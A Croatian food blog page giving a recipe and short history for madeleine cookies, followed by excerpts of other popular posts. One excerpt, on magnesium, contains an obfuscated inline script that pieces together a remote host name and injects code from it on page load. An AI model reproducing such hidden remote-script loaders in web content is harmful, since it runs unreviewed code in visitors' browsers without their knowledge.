MADELEINE - NJEŽNI FRANCUSKI KOLAČIĆ 🍪






Madeleine - nježni francuski kolačići 




Neke su slastice samo ukusne, a neke imaju i bogatu povijest i cijele legende koje se vežu uz njih. Među ovim potonjima je svakako i madeleine, mali školjkasti kolačić koji je postao simbol francuske slastičarske tradicije, ali i jedno od najpoznatijih gastronomskih referenci u svjetskoj književnosti. Iako izgledaju jednostavno, madeleines kriju zanimljivu povijest, profinjenu teksturu i aromu maslaca i limuna zbog koje su postali klasik francuskih patisseriea.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Madeleine 


Sastojci:

  • 2 velika jaja
  • 100 g šećera
  • 100 g otopljenog maslaca
  • 120 g glatkog brašna
  • 1 žličica praška za pecivo
  • prstohvat soli
  • 1 žličica ekstrakta vanilije ili naribana korica jednog limuna
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  • Priprema započinje miksanjem jaja i šećera dok smjesa ne postane svijetla i lagano pjenasta. Zatim se dodaje otopljeni maslac, vanilija ili limunova korica, pa se sve lagano promiješa. U drugoj posudi pomiješaju se brašno, prašak za pecivo i sol, a zatim se suhi sastojci postupno umiješaju u smjesu s jajima. Važno je miješati nježno, kako bi tijesto ostalo lagano.
  • Tijesto se zatim stavlja u hladnjak na otprilike 30 minuta. Ovaj korak pomaže da se tijekom pečenja razvije karakteristični mali ‘brežuljak’ na sredini kolačića – detalj koji slastičari smatraju znakom dobro pripremljenih madeleinesa.
  • Pećnicu treba zagrijati na 180 °C. Kalup za madeleines lagano se premaže maslacem i posipa tankim slojem brašna kako se kolačići ne bi zalijepili. Svako udubljenje kalupa puni se otprilike do tri četvrtine, jer će tijesto tijekom pečenja narasti.
  • Madeleines se peku oko 10 do 12 minuta, dok ne poprime zlatnu boju na rubovima. Nakon pečenja treba ih ostaviti nekoliko minuta u kalupu, a zatim ih pažljivo izvaditi i ohladiti na rešetki. Najbolji su dok su još lagano topli, uz šalicu čaja ili kave.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više